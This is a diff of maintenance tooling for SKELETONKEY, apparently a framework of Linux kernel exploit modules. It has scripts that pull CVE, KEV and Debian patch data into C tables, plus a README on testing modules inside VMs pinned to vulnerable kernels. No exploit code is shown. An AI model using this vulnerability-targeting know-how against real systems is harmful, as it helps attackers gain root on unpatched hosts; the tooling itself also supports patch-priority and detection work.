return v, None # description not stored; CWE id alone is what we use
|
||||
return None, None
|
||||
|
||||
|
||||
def attack_for_cve(cve: str) -> tuple[str, str | None]:
|
||||
return ATTACK_MAPPING.get(cve, ("T1068", None))
|
||||
|
||||
|
||||
def short_module_name(cve: str) -> str:
|
||||
"""Find the directory under modules/ that ends with this CVE's tail."""
|
||||
tail = cve.removeprefix("CVE-").replace("-", "_")
|
||||
for child in MODULES_DIR.iterdir():
|
||||
if child.is_dir() and child.name.endswith(f"_cve_{tail}"):
|
||||
return child.name
|
||||
return "?"
|
||||
|
||||
|
||||
def build_records(cves: list[str], kev: dict[str, str]) -> list[dict]:
|
||||
records = []
|
||||
for i, cve in enumerate(cves, 1):
|
||||
print(f"[*] [{i:2d}/{len(cves)}] {cve}: NVD lookup", file=sys.stderr)
|
||||
cwe, _ = fetch_nvd_cwe(cve)
|
||||
tech, subtech = attack_for_cve(cve)
|
||||
in_kev = cve in kev
|
||||
rec = {
|
||||
"cve": cve,
|
||||
"module_dir": short_module_name(cve),
|
||||
"cwe": cwe,
|
||||
"attack_technique": tech,
|
||||
"attack_subtechnique": subtech,
|
||||
"in_kev": in_kev,
|
||||
"kev_date_added": kev.get(cve, ""),
|
||||
}
|
||||
records.append(rec)
|
||||
# Throttle NVD requests
|
||||
if i < len(cves):
|
||||
time.sleep(NVD_DELAY_SECONDS)
|
||||
return records
|
||||
|
||||
|
||||
def _c_str(s: str | None) -> str:
|
||||
"""Render a Python str|None as a C string literal or NULL."""
|
||||
if s is None:
|
||||
return "NULL"
|
||||
# only safe chars in our domain (CVE-/CWE-/T#### / dates) so no escaping needed
|
||||
return f'"{s}"'
|
||||
|
||||
|
||||
def write_c_table(records: list[dict]) -> None:
|
||||
"""Generate core/cve_metadata.c from the JSON records."""
|
||||
lines = [
|
||||
"/*",
|
||||
" * SKELETONKEY — CVE metadata table",
|
||||
" *",
|
||||
" * AUTO-GENERATED by tools/refresh-cve-metadata.py from",
|
||||
" * docs/CVE_METADATA.json. Do not hand-edit; rerun the script.",
|
||||
" * Sources: CISA KEV catalog + NVD CVE API 2.0.",
|
||||
" */",
|
||||
"",
|
||||
'#include "cve_metadata.h"',
|
||||
"",
|
||||
"#include <stddef.h>",
|
||||
"#include <string.h>",
|
||||
"",
|
||||
"const struct cve_metadata cve_metadata_table[] = {",
|
||||
]
|
||||
for r in records:
|
||||
lines.append(" {")
|
||||
lines.append(f" .cve = {_c_str(r['cve'])},")
|
||||
lines.append(f" .cwe = {_c_str(r['cwe'])},")
|
||||
lines.append(f" .attack_technique = {_c_str(r['attack_technique'])},")
|
||||
lines.append(f" .attack_subtechnique = {_c_str(r['attack_subtechnique'])},")
|
||||
lines.append(f" .in_kev = {'true' if r['in_kev'] else 'false'},")
|
||||
lines.append(f" .kev_date_added = {_c_str(r['kev_date_added'])},")
|
||||
lines.append(" },")
|
||||
lines += [
|
||||
"};",
|
||||
"",
|
||||
"const size_t cve_metadata_table_len =",
|
||||
" sizeof(cve_metadata_table) / sizeof(cve_metadata_table[0]);",
|
||||
"",
|
||||
"const struct cve_metadata *cve_metadata_lookup(const char *cve)",
|
||||
"{",
|
||||
" if (!cve) return NULL;",
|
||||
" for (size_t i = 0; i < cve_metadata_table_len; i++) {",
|
||||
" if (strcmp(cve_metadata_table[i].cve, cve) == 0)",
|
||||
" return &cve_metadata_table[i];",
|
||||
" }",
|
||||
" return NULL;",
|
||||
"}",
|
||||
"",
|
||||
]
|
||||
OUT_C.write_text("\n".join(lines))
|
||||
print(f"[+] wrote {OUT_C.relative_to(REPO_ROOT)}", file=sys.stderr)
|
||||
|
||||
|
||||
def write_outputs(records: list[dict]) -> None:
|
||||
OUT_JSON.parent.mkdir(parents=True, exist_ok=True)
|
||||
OUT_JSON.write_text(json.dumps(records, indent=2) + "\n")
|
||||
print(f"[+] wrote {OUT_JSON.relative_to(REPO_ROOT)}", file=sys.stderr)
|
||||
write_c_table(records)
|
||||
|
||||
# KEV cross-reference table
|
||||
in_kev = [r for r in records if r["in_kev"]]
|
||||
not_in_kev = [r for r in records if not r["in_kev"]]
|
||||
lines = [
|
||||
"# CISA KEV Cross-Reference",
|
||||
"",
|
||||
"Which SKELETONKEY modules cover CVEs that CISA has observed exploited",
|
||||
"in the wild per the Known Exploited Vulnerabilities catalog.",
|
||||
"Refreshed via `tools/refresh-cve-metadata.py`.",
|
||||
"",
|
||||
f"**{len(in_kev)} of {len(records)} modules cover KEV-listed CVEs.**",
|
||||
"",
|
||||
"## In KEV (prioritize patching)",
|
||||
"",
|
||||
"| CVE | Date added to KEV | CWE | Module |",
|
||||
"| --- | --- | --- | --- |",
|
||||
]
|
||||
for r in sorted(in_kev, key=lambda r: r["kev_date_added"]):
|
||||
lines.append(
|
||||
f"| {r['cve']} | {r['kev_date_added']} | {r['cwe'] or '?'} | `{r['module_dir']}` |"
|
||||
)
|
||||
lines += [
|
||||
"",
|
||||
"## Not in KEV",
|
||||
"",
|
||||
"Not observed exploited per CISA — but several have public PoC code",
|
||||
"and are technically reachable. \"Not in KEV\" is not the same as",
|
||||
"\"safe to ignore\".",
|
||||
"",
|
||||
"| CVE | CWE | Module |",
|
||||
"| --- | --- | --- |",
|
||||
]
|
||||
for r in sorted(not_in_kev, key=lambda r: r["cve"]):
|
||||
lines.append(f"| {r['cve']} | {r['cwe'] or '?'} | `{r['module_dir']}` |")
|
||||
lines.append("")
|
||||
OUT_MD.write_text("\n".join(lines))
|
||||
print(f"[+] wrote {OUT_MD.relative_to(REPO_ROOT)}", file=sys.stderr)
|
||||
|
||||
|
||||
def check_drift() -> int:
|
||||
"""Exit 1 if the committed JSON differs from a fresh fetch."""
|
||||
if not OUT_JSON.exists():
|
||||
print(f"[!] no committed {OUT_JSON.name} — run without --check first", file=sys.stderr)
|
||||
return 1
|
||||
committed = json.loads(OUT_JSON.read_text())
|
||||
fresh = build_records(discover_cves(), fetch_kev_catalog())
|
||||
if committed == fresh:
|
||||
print("[+] CVE_METADATA.json is current", file=sys.stderr)
|
||||
return 0
|
||||
print("[!] CVE_METADATA.json drifted — refresh via "
|
||||
"`tools/refresh-cve-metadata.py`", file=sys.stderr)
|
||||
return 1
|
||||
|
||||
|
||||
def main() -> int:
|
||||
ap = argparse.ArgumentParser(description=__doc__.splitlines()[1])
|
||||
ap.add_argument("--check", action="store_true",
|
||||
help="diff against committed metadata; exit 1 on drift")
|
||||
args = ap.parse_args()
|
||||
if args.check:
|
||||
return check_drift()
|
||||
cves = discover_cves()
|
||||
print(f"[*] {len(cves)} CVE(s) in corpus", file=sys.stderr)
|
||||
kev = fetch_kev_catalog()
|
||||
records = build_records(cves, kev)
|
||||
write_outputs(records)
|
||||
return 0
|
||||
|
||||
|
||||
if __name__ == "__main__":
|
||||
sys.exit(main())
|
||||
Executable
+346
@@ -0,0 +1,346 @@
|
||||
#!/usr/bin/env python3
|
||||
"""
|
||||
tools/refresh-kernel-ranges.py — Detect drift between each module's
|
||||
kernel_patched_from table and Debian's security-tracker data.
|
||||
|
||||
The repo's no-fabrication rule (CVES.md) means every kernel_range
|
||||
threshold has to come from a real, citeable source. Debian's
|
||||
security tracker is the most reliable per-CVE backport list — it's
|
||||
machine-readable and updated continuously by the Debian security
|
||||
team. This script:
|
||||
|
||||
1. Fetches https://security-tracker.debian.org/tracker/data/json
|
||||
(cached at /tmp/skeletonkey-debian-tracker.json, 12h TTL).
|
||||
2. Scans every modules/*/skeletonkey_modules.c for
|
||||
`kernel_patched_from <name>[] = { {M, m, p}, ... };` arrays and
|
||||
their corresponding `.cve = "CVE-..."` entry.
|
||||
3. For each module, compares the table against Debian's tracked
|
||||
fixed-versions for that CVE.
|
||||
4. Reports:
|
||||
missing branch — Debian has a fix at X.Y.Z; our table
|
||||
has no X.Y entry. The module's detect()
|
||||
would say VULNERABLE on a Debian host
|
||||
that's actually patched.
|
||||
too-tight threshold — Our X.Y.Z is HIGHER than Debian's fix
|
||||
version; our module would call a
|
||||
fixed host vulnerable. False-positive.
|
||||
info (more conservative) — Our threshold is LOWER than
|
||||
Debian's; we accept earlier kernels
|
||||
as patched. Could be intentional or
|
||||
could mean we have stale data.
|
||||
|
||||
Usage:
|
||||
tools/refresh-kernel-ranges.py # human report
|
||||
tools/refresh-kernel-ranges.py --json # machine-readable
|
||||
tools/refresh-kernel-ranges.py --patch # propose C-source edits
|
||||
tools/refresh-kernel-ranges.py --refresh # force re-fetch
|
||||
"""
|
||||
|
||||
from __future__ import annotations
|
||||
|
||||
import json
|
||||
import os
|
||||
import re
|
||||
import sys
|
||||
import time
|
||||
import urllib.request
|
||||
|
||||
CACHE = "/tmp/skeletonkey-debian-tracker.json"
|
||||
TRACKER_URL = "https://security-tracker.debian.org/tracker/data/json"
|
||||
CACHE_TTL_SEC = 12 * 3600
|
||||
|
||||
|
||||
# ── tracker fetch ────────────────────────────────────────────────────
|
||||
|
||||
def fetch_tracker(force_refresh: bool = False) -> dict:
|
||||
"""Return the parsed Debian tracker JSON. Cached at /tmp with 12h TTL."""
|
||||
if not force_refresh and os.path.exists(CACHE):
|
||||
age = time.time() - os.stat(CACHE).st_mtime
|
||||
if age < CACHE_TTL_SEC:
|
||||
print(f"[*] using cached tracker ({CACHE}, age {int(age)}s)",
|
||||
file=sys.stderr)
|
||||
with open(CACHE) as f:
|
||||
return json.load(f)
|
||||
print(f"[*] fetching {TRACKER_URL} ...", file=sys.stderr)
|
||||
req = urllib.request.Request(
|
||||
TRACKER_URL,
|
||||
headers={"User-Agent": "skeletonkey/refresh-kernel-ranges"},
|
||||
)
|
||||
with urllib.request.urlopen(req, timeout=120) as r:
|
||||
data = r.read()
|
||||
os.makedirs(os.path.dirname(CACHE), exist_ok=True)
|
||||
with open(CACHE, "wb") as f:
|
||||
f.write(data)
|
||||
print(f"[*] tracker cached: {len(data) // 1024} KB", file=sys.stderr)
|
||||
return json.loads(data)
|
||||
|
||||
|
||||
# ── module source parsing ────────────────────────────────────────────
|
||||
|
||||
# Some modules have multiple .cve entries (e.g. dirty_frag_esp +
|
||||
# dirty_frag_esp6 share the same CVE). Pull the first one.
|
||||
RE_CVE = re.compile(r'\.cve\s*=\s*"(CVE-\d{4}-\d{4,7})"')
|
||||
RE_TABLE = re.compile(
|
||||
r'kernel_patched_from\s+(\w+)\s*\[\]\s*=\s*\{([^}]+(?:\}[^}]*)*?)\}\s*;',
|
||||
re.MULTILINE,
|
||||
)
|
||||
RE_ENTRY = re.compile(r'\{\s*(\d+)\s*,\s*(\d+)\s*,\s*(\d+)\s*\}')
|
||||
|
||||
|
||||
def find_modules(repo_root: str):
|
||||
"""Yield {name, src, cve, table, table_name, table_span} per module.
|
||||
|
||||
`table_span` is (start, end) byte offsets of the array body for
|
||||
--patch mode that wants to edit the source. `table` is a list of
|
||||
(major, minor, patch) tuples in source order."""
|
||||
mods_dir = os.path.join(repo_root, "modules")
|
||||
for d in sorted(os.listdir(mods_dir)):
|
||||
src = os.path.join(mods_dir, d, "skeletonkey_modules.c")
|
||||
if not os.path.exists(src):
|
||||
continue
|
||||
with open(src) as f:
|
||||
text = f.read()
|
||||
cve_m = RE_CVE.search(text)
|
||||
if not cve_m:
|
||||
continue
|
||||
tab_m = RE_TABLE.search(text)
|
||||
if not tab_m:
|
||||
continue
|
||||
entries = [tuple(int(x) for x in e) for e in RE_ENTRY.findall(tab_m.group(2))]
|
||||
if not entries:
|
||||
continue
|
||||
yield {
|
||||
"name": d,
|
||||
"src": src,
|
||||
"cve": cve_m.group(1),
|
||||
"table": entries,
|
||||
"table_name": tab_m.group(1),
|
||||
"table_span": (tab_m.start(2), tab_m.end(2)),
|
||||
}
|
||||
|
||||
|
||||
# ── Debian tracker lookup ────────────────────────────────────────────
|
||||
|
||||
# Debian release names we care about (in age order, oldest first).
|
||||
# The tracker has more (e.g. ELTS) but those are usually too old to
|
||||
# inform mainline-or-near-mainline backport thresholds.
|
||||
DEBIAN_RELEASES = ["bullseye", "bookworm", "trixie", "forky", "sid"]
|
||||
|
||||
|
||||
def parse_upstream_version(deb_ver: str) -> tuple[int, int, int] | None:
|
||||
"""Map a Debian package version like '5.10.218-1' to upstream
|
||||
(5, 10, 218). Returns None on parse failure."""
|
||||
if not deb_ver:
|
||||
return None
|
||||
# Strip everything after first '-' (Debian revision) or '+' (backport).
|
||||
head = re.split(r'[-+~]', deb_ver, maxsplit=1)[0]
|
||||
parts = head.split(".")
|
||||
if len(parts) < 3:
|
||||
# Some Debian versions are X.Y (no patch). Treat patch as 0.
|
||||
if len(parts) == 2:
|
||||
parts.append("0")
|
||||
else:
|
||||
return None
|
||||
try:
|
||||
return (int(parts[0]), int(parts[1]), int(parts[2]))
|
||||
except ValueError:
|
||||
return None
|
||||
|
||||
|
||||
def debian_fixed_for(tracker: dict, cve: str) -> dict[str, tuple[int, int, int]]:
|
||||
"""For a CVE, return {debian_release: upstream_version_tuple} of
|
||||
fixed versions per the tracker. Skips releases with no fix yet."""
|
||||
out: dict[str, tuple[int, int, int]] = {}
|
||||
for pkg in ("linux", "linux-grsec"):
|
||||
pkg_data = tracker.get(pkg, {})
|
||||
if cve not in pkg_data:
|
||||
continue
|
||||
cve_data = pkg_data[cve]
|
||||
for release, info in cve_data.get("releases", {}).items():
|
||||
if release not in DEBIAN_RELEASES:
|
||||
continue
|
||||
if info.get("status") != "resolved":
|
||||
continue
|
||||
fixed = info.get("fixed_version")
|
||||
up = parse_upstream_version(fixed)
|
||||
if up:
|
||||
out[release] = up
|
||||
return out
|
||||
|
||||
|
||||
# ── compare + report ─────────────────────────────────────────────────
|
||||
|
||||
def branch_of(v: tuple[int, int, int]) -> tuple[int, int]:
|
||||
return (v[0], v[1])
|
||||
|
||||
|
||||
def compare(table: list[tuple[int, int, int]],
|
||||
debian: dict[str, tuple[int, int, int]]) -> list[dict]:
|
||||
"""Return a list of finding dicts ({severity, message, ...})."""
|
||||
findings: list[dict] = []
|
||||
our_by_branch = {branch_of(t): t for t in table}
|
||||
|
||||
# Group Debian releases by branch (multiple releases may share a branch)
|
||||
debian_by_branch: dict[tuple[int, int], list[tuple[str, tuple[int, int, int]]]] = {}
|
||||
for rel, ver in debian.items():
|
||||
debian_by_branch.setdefault(branch_of(ver), []).append((rel, ver))
|
||||
|
||||
for branch, rels in debian_by_branch.items():
|
||||
# Use the OLDEST fix Debian has on this branch (most permissive)
|
||||
rels.sort(key=lambda x: x[1])
|
||||
oldest_rel, oldest_ver = rels[0]
|
||||
rel_list = ", ".join(f"{r}: {v[0]}.{v[1]}.{v[2]}" for r, v in rels)
|
||||
|
||||
if branch not in our_by_branch:
|
||||
findings.append({
|
||||
"severity": "MISSING",
|
||||
"message": (
|
||||
f"Debian has fix on the {branch[0]}.{branch[1]} branch "
|
||||
f"(earliest: {oldest_ver[0]}.{oldest_ver[1]}.{oldest_ver[2]}, "
|
||||
f"all: {rel_list}), but our table has no {branch[0]}.{branch[1]} entry"
|
||||
),
|
||||
"suggest_add": list(oldest_ver),
|
||||
})
|
||||
else:
|
||||
our = our_by_branch[branch]
|
||||
if our[2] > oldest_ver[2]:
|
||||
findings.append({
|
||||
"severity": "TOO_TIGHT",
|
||||
"message": (
|
||||
f"Our {our[0]}.{our[1]}.{our[2]} threshold is later than "
|
||||
f"Debian's earliest fix on the {branch[0]}.{branch[1]} branch "
|
||||
f"({oldest_ver[0]}.{oldest_ver[1]}.{oldest_ver[2]}, from "
|
||||
f"{oldest_rel}). Hosts at {branch[0]}.{branch[1]}.{oldest_ver[2]} "
|
||||
"are patched per Debian but our detect() would report "
|
||||
"VULNERABLE."
|
||||
),
|
||||
"suggest_replace": list(oldest_ver),
|
||||
})
|
||||
elif our[2] < oldest_ver[2]:
|
||||
# Our threshold is earlier — we're more permissive about
|
||||
# what counts as patched. Usually fine (we have better
|
||||
# info than Debian's stable backport) but flag as info.
|
||||
findings.append({
|
||||
"severity": "INFO",
|
||||
"message": (
|
||||
f"Our {our[0]}.{our[1]}.{our[2]} threshold is earlier "
|
||||
f"than Debian's {oldest_ver[0]}.{oldest_ver[1]}.{oldest_ver[2]} "
|
||||
f"({oldest_rel}). We're more permissive — verify this "
|
||||
"is intentional (e.g. we tracked a different distro's "
|
||||
"earlier backport)."
|
||||
),
|
||||
})
|
||||
|
||||
return findings
|
||||
|
||||
|
||||
# ── main ─────────────────────────────────────────────────────────────
|
||||
|
||||
def render_text(reports: list[dict]) -> None:
|
||||
"""Human-readable report on stderr."""
|
||||
drifted = 0
|
||||
for r in reports:
|
||||
if not r["findings"]:
|
||||
print(f"[+] {r['name']:32s} ({r['cve']}) — table is current "
|
||||
f"({len(r['table'])} entries)")
|
||||
continue
|
||||
drifted += 1
|
||||
print(f"[!] {r['name']} ({r['cve']})")
|
||||
print(f" table: " + ", ".join(
|
||||
f"{M}.{m}.{p}" for (M, m, p) in r["table"]))
|
||||
if r["debian"]:
|
||||
print(f" debian: " + ", ".join(
|
||||
f"{rel}={M}.{m}.{p}"
|
||||
for rel, (M, m, p) in sorted(r["debian"].items())))
|
||||
else:
|
||||
print(" debian: (no resolved entries for this CVE)")
|
||||
for f in r["findings"]:
|
||||
tag = {"MISSING": "+", "TOO_TIGHT": "✗", "INFO": "i"}[f["severity"]]
|
||||
print(f" [{tag}] {f['message']}")
|
||||
print()
|
||||
total = len(reports)
|
||||
print(f"=== {drifted}/{total} module(s) drifted ===", file=sys.stderr)
|
||||
|
||||
|
||||
def render_json(reports: list[dict]) -> None:
|
||||
print(json.dumps({"modules": reports}, indent=2, default=lambda o: list(o)))
|
||||
|
||||
|
||||
def render_patch(reports: list[dict]) -> None:
|
||||
"""Emit a brief proposed-edits diff for modules with MISSING or
|
||||
TOO_TIGHT findings. Not actually applied — operator reviews."""
|
||||
for r in reports:
|
||||
actionable = [f for f in r["findings"]
|
||||
if f["severity"] in ("MISSING", "TOO_TIGHT")]
|
||||
if not actionable:
|
||||
continue
|
||||
print(f"--- {r['src']}")
|
||||
print(f"+++ {r['src']} (proposed)")
|
||||
print(f"@@ kernel_patched_from {r['table_name']}[] @@")
|
||||
# Reconstruct the table with the actionable changes applied.
|
||||
new_table = list(r["table"])
|
||||
new_branches = {branch_of(t): list(t) for t in new_table}
|
||||
for f in actionable:
|
||||
if "suggest_add" in f:
|
||||
v = tuple(f["suggest_add"])
|
||||
new_branches[branch_of(v)] = list(v)
|
||||
elif "suggest_replace" in f:
|
||||
v = tuple(f["suggest_replace"])
|
||||
new_branches[branch_of(v)] = list(v)
|
||||
new_sorted = sorted(new_branches.values())
|
||||
old_set = {tuple(t) for t in r["table"]}
|
||||
for entry in new_sorted:
|
||||
t = tuple(entry)
|
||||
if t in old_set:
|
||||
print(f" {{{entry[0]:>2}, {entry[1]:>2}, {entry[2]:>3}}},")
|
||||
else:
|
||||
print(f" + {{{entry[0]:>2}, {entry[1]:>2}, {entry[2]:>3}}},")
|
||||
for old in r["table"]:
|
||||
if branch_of(old) not in new_branches or \
|
||||
list(old) != new_branches[branch_of(old)]:
|
||||
print(f" - {{{old[0]:>2}, {old[1]:>2}, {old[2]:>3}}},")
|
||||
print()
|
||||
|
||||
|
||||
def main() -> int:
|
||||
json_mode = "--json" in sys.argv
|
||||
patch_mode = "--patch" in sys.argv
|
||||
force = "--refresh" in sys.argv
|
||||
|
||||
repo_root = os.path.dirname(os.path.dirname(os.path.abspath(__file__)))
|
||||
tracker = fetch_tracker(force_refresh=force)
|
||||
|
||||
if "linux" not in tracker:
|
||||
print("[-] tracker JSON has no 'linux' package — schema changed?",
|
||||
file=sys.stderr)
|
||||
return 1
|
||||
|
||||
reports: list[dict] = []
|
||||
for mod in find_modules(repo_root):
|
||||
debian = debian_fixed_for(tracker, mod["cve"])
|
||||
findings = compare(mod["table"], debian)
|
||||
reports.append({
|
||||
"name": mod["name"],
|
||||
"src": mod["src"],
|
||||
"cve": mod["cve"],
|
||||
"table_name": mod["table_name"],
|
||||
"table": [list(t) for t in mod["table"]],
|
||||
"debian": {k: list(v) for k, v in debian.items()},
|
||||
"findings": findings,
|
||||
})
|
||||
|
||||
if json_mode:
|
||||
render_json(reports)
|
||||
elif patch_mode:
|
||||
render_patch(reports)
|
||||
else:
|
||||
render_text(reports)
|
||||
|
||||
# Exit code: 1 if any MISSING or TOO_TIGHT, 0 otherwise. INFO is fine.
|
||||
actionable = sum(1 for r in reports for f in r["findings"]
|
||||
if f["severity"] in ("MISSING", "TOO_TIGHT"))
|
||||
return 1 if actionable else 0
|
||||
|
||||
|
||||
if __name__ == "__main__":
|
||||
sys.exit(main())
|
||||
Executable
+174
@@ -0,0 +1,174 @@
|
||||
#!/usr/bin/env python3
|
||||
"""
|
||||
tools/refresh-verifications.py — read docs/VERIFICATIONS.jsonl,
|
||||
generate core/verifications.c with a deduped, sorted lookup table.
|
||||
|
||||
Dedup key: (module, vm_box, host_kernel, expect_detect).
|
||||
On collision, the LATEST verified_at wins (so re-runs update rather
|
||||
than accumulate). Records are then sorted by module name so the
|
||||
output is stable and review-friendly.
|
||||
|
||||
Records with no module name are dropped silently. Records with
|
||||
status != "match" are kept so MISMATCH histories stay visible in
|
||||
--module-info (but don't earn the ✓ verified badge).
|
||||
|
||||
Usage:
|
||||
tools/refresh-verifications.py # regenerate core/verifications.c
|
||||
tools/refresh-verifications.py --check # exit 1 if regenerating would change anything
|
||||
"""
|
||||
|
||||
import argparse
|
||||
import json
|
||||
import sys
|
||||
from pathlib import Path
|
||||
|
||||
REPO = Path(__file__).resolve().parent.parent
|
||||
JSONL = REPO / "docs" / "VERIFICATIONS.jsonl"
|
||||
OUT_C = REPO / "core" / "verifications.c"
|
||||
|
||||
|
||||
def load_records():
|
||||
if not JSONL.exists():
|
||||
return []
|
||||
out = []
|
||||
for line in JSONL.read_text().splitlines():
|
||||
line = line.strip()
|
||||
if not line or line.startswith("#"):
|
||||
continue
|
||||
try:
|
||||
r = json.loads(line)
|
||||
if r.get("module"):
|
||||
out.append(r)
|
||||
except json.JSONDecodeError as e:
|
||||
print(f"[!] skipping bad JSONL line: {e}", file=sys.stderr)
|
||||
return out
|
||||
|
||||
|
||||
def dedup_latest(records):
|
||||
"""Keep only the latest record per (module, vm_box, host_kernel).
|
||||
|
||||
NB: expect_detect is intentionally NOT part of the dedup key. If we
|
||||
re-verify the same target with a corrected expectation, the new
|
||||
record supersedes the old one entirely (the old MISMATCH was a stale
|
||||
target-yaml entry, not a separate test scenario)."""
|
||||
by_key = {}
|
||||
for r in records:
|
||||
k = (r.get("module"), r.get("vm_box"), r.get("host_kernel"))
|
||||
prev = by_key.get(k)
|
||||
if prev is None or r.get("verified_at", "") > prev.get("verified_at", ""):
|
||||
by_key[k] = r
|
||||
return sorted(by_key.values(),
|
||||
key=lambda r: (r["module"], r.get("vm_box", ""),
|
||||
r.get("host_kernel", "")))
|
||||
|
||||
|
||||
def date_only(iso_ts: str) -> str:
|
||||
"""Truncate 2026-05-23T19:26:02Z -> 2026-05-23."""
|
||||
if not iso_ts:
|
||||
return ""
|
||||
return iso_ts.split("T", 1)[0]
|
||||
|
||||
|
||||
def cstr(s):
|
||||
if s is None or s == "":
|
||||
return '""'
|
||||
# No paths in here ever contain unescapable chars; basic backslash + quote escape.
|
||||
return '"' + s.replace("\\", "\\\\").replace('"', '\\"') + '"'
|
||||
|
||||
|
||||
def render_c(records) -> str:
|
||||
lines = [
|
||||
"/*",
|
||||
" * SKELETONKEY — verification records table",
|
||||
" *",
|
||||
" * AUTO-GENERATED by tools/refresh-verifications.py from",
|
||||
" * docs/VERIFICATIONS.jsonl. Do not hand-edit; rerun the script.",
|
||||
" *",
|
||||
" * Source: tools/verify-vm/verify.sh appends one JSON record per",
|
||||
" * run; this generator dedupes to (module, vm_box, kernel, expect)",
|
||||
" * and keeps the latest by verified_at.",
|
||||
" */",
|
||||
"",
|
||||
'#include "verifications.h"',
|
||||
"",
|
||||
"#include <stddef.h>",
|
||||
"#include <string.h>",
|
||||
"#include <stdbool.h>",
|
||||
"",
|
||||
"const struct verification_record verifications[] = {",
|
||||
]
|
||||
for r in records:
|
||||
lines.append(" {")
|
||||
lines.append(f" .module = {cstr(r.get('module'))},")
|
||||
lines.append(f" .verified_at = {cstr(date_only(r.get('verified_at', '')))},")
|
||||
lines.append(f" .host_kernel = {cstr(r.get('host_kernel'))},")
|
||||
lines.append(f" .host_distro = {cstr(r.get('host_distro'))},")
|
||||
lines.append(f" .vm_box = {cstr(r.get('vm_box'))},")
|
||||
lines.append(f" .expect_detect = {cstr(r.get('expect_detect'))},")
|
||||
lines.append(f" .actual_detect = {cstr(r.get('actual_detect'))},")
|
||||
lines.append(f" .status = {cstr(r.get('status'))},")
|
||||
lines.append(" },")
|
||||
lines += [
|
||||
"};",
|
||||
"",
|
||||
"const size_t verifications_count =",
|
||||
" sizeof(verifications) / sizeof(verifications[0]);",
|
||||
"",
|
||||
"const struct verification_record *",
|
||||
"verifications_for_module(const char *module, size_t *count_out)",
|
||||
"{",
|
||||
" if (count_out) *count_out = 0;",
|
||||
" if (!module) return NULL;",
|
||||
" const struct verification_record *first = NULL;",
|
||||
" size_t n = 0;",
|
||||
" for (size_t i = 0; i < verifications_count; i++) {",
|
||||
" if (strcmp(verifications[i].module, module) == 0) {",
|
||||
" if (first == NULL) first = &verifications[i];",
|
||||
" n++;",
|
||||
" }",
|
||||
" }",
|
||||
" if (count_out) *count_out = n;",
|
||||
" return first;",
|
||||
"}",
|
||||
"",
|
||||
"bool verifications_module_has_match(const char *module)",
|
||||
"{",
|
||||
" size_t n = 0;",
|
||||
" const struct verification_record *r = verifications_for_module(module, &n);",
|
||||
" for (size_t i = 0; i < n; i++)",
|
||||
" if (r[i].status && strcmp(r[i].status, \"match\") == 0)",
|
||||
" return true;",
|
||||
" return false;",
|
||||
"}",
|
||||
"",
|
||||
]
|
||||
return "\n".join(lines)
|
||||
|
||||
|
||||
def main() -> int:
|
||||
ap = argparse.ArgumentParser(description=__doc__.splitlines()[1])
|
||||
ap.add_argument("--check", action="store_true",
|
||||
help="diff against committed core/verifications.c; exit 1 on drift")
|
||||
args = ap.parse_args()
|
||||
|
||||
records = dedup_latest(load_records())
|
||||
text = render_c(records)
|
||||
|
||||
if args.check:
|
||||
existing = OUT_C.read_text() if OUT_C.exists() else ""
|
||||
if existing == text:
|
||||
print(f"[+] core/verifications.c is current ({len(records)} record(s))",
|
||||
file=sys.stderr)
|
||||
return 0
|
||||
print("[!] core/verifications.c drifted — rerun "
|
||||
"tools/refresh-verifications.py", file=sys.stderr)
|
||||
return 1
|
||||
|
||||
OUT_C.write_text(text)
|
||||
print(f"[+] wrote {OUT_C.relative_to(REPO)} ({len(records)} record(s))",
|
||||
file=sys.stderr)
|
||||
return 0
|
||||
|
||||
|
||||
if __name__ == "__main__":
|
||||
sys.exit(main())
|
||||
@@ -0,0 +1,134 @@
|
||||
# SKELETONKEY VM verification
|
||||
|
||||
Auto-provisions a Parallels Desktop VM with a known-vulnerable kernel,
|
||||
runs `skeletonkey --explain <module> --active` inside it, and emits a
|
||||
verification record. Closes the loop between "detect() compiles & passes
|
||||
unit tests" and "exploit() actually works on a real vulnerable kernel."
|
||||
|
||||
## One-time setup
|
||||
|
||||
```bash
|
||||
./tools/verify-vm/setup.sh
|
||||
```
|
||||
|
||||
That installs (if missing): Vagrant via Homebrew, the `vagrant-parallels`
|
||||
plugin, and pre-downloads ~5 GB of base boxes (Ubuntu 18.04/20.04/22.04
|
||||
+ Debian 11/12). Idempotent — re-run any time.
|
||||
|
||||
To skip boxes you don't need (save disk):
|
||||
|
||||
```bash
|
||||
./tools/verify-vm/setup.sh ubuntu2004 debian11 # only those two
|
||||
```
|
||||
|
||||
## Verify a single module
|
||||
|
||||
```bash
|
||||
./tools/verify-vm/verify.sh nf_tables
|
||||
```
|
||||
|
||||
What that does:
|
||||
|
||||
1. Reads `tools/verify-vm/targets.yaml`: finds `nf_tables` → box
|
||||
`generic/ubuntu2204` + kernel pin `linux-image-5.15.0-43-generic`.
|
||||
2. `vagrant up skk-nf_tables` (provisions on first call, resumes on
|
||||
subsequent).
|
||||
3. Installs the pinned vulnerable kernel via `apt`, reboots.
|
||||
4. Mounts the local repo at `/vagrant`, runs `make`, then runs
|
||||
`skeletonkey --explain nf_tables --active`.
|
||||
5. Parses the `VERDICT:` line, compares against `expect_detect` from
|
||||
targets.yaml, emits a JSON verification record on stdout.
|
||||
6. Suspends the VM (`vagrant suspend`) — instant resume next run.
|
||||
|
||||
Lifecycle flags:
|
||||
|
||||
```bash
|
||||
./tools/verify-vm/verify.sh nf_tables --keep # leave VM running; ssh in to inspect
|
||||
./tools/verify-vm/verify.sh nf_tables --destroy # full teardown after run
|
||||
```
|
||||
|
||||
## List every target
|
||||
|
||||
```bash
|
||||
./tools/verify-vm/verify.sh --list
|
||||
```
|
||||
|
||||
Shows the (module, box, target kernel, expected verdict, notes) matrix
|
||||
for all 26 modules. Three are flagged `manual: true` because no
|
||||
public Vagrant box covers them:
|
||||
|
||||
- `vmwgfx` — only reachable on VMware guests; needs a vSphere/Fusion VM
|
||||
not Parallels.
|
||||
- `dirtydecrypt`, `fragnesia` — only present in Linux 7.0+ which isn't
|
||||
shipping as a distro kernel yet.
|
||||
|
||||
For those, verification needs a hand-built or special-distro VM.
|
||||
|
||||
## Verification records
|
||||
|
||||
`verify.sh` emits JSON on stdout after each run. Example:
|
||||
|
||||
```json
|
||||
{
|
||||
"module": "nf_tables",
|
||||
"verified_at": "2026-05-23T17:42:11Z",
|
||||
"host_kernel": "5.15.0-43-generic",
|
||||
"host_distro": "Ubuntu 22.04.5 LTS",
|
||||
"vm_box": "generic/ubuntu2204",
|
||||
"expect_detect": "VULNERABLE",
|
||||
"actual_detect": "VULNERABLE",
|
||||
"status": "match",
|
||||
